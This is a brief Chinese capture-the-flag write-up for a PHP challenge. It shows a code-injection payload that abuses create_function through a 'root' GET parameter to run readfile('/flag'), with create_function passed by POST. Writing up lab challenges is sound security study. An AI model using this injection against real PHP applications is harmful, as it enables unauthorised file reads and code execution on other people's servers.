某函数的复仇

题目告诉我们flag在/flag里面这里只要读取/flag就行了

这里需要利用$shaw(‘’,$root);执行命令构造payload：?root=;}readfile(‘/flag’);/*

POST：shaw=create_function

得到flag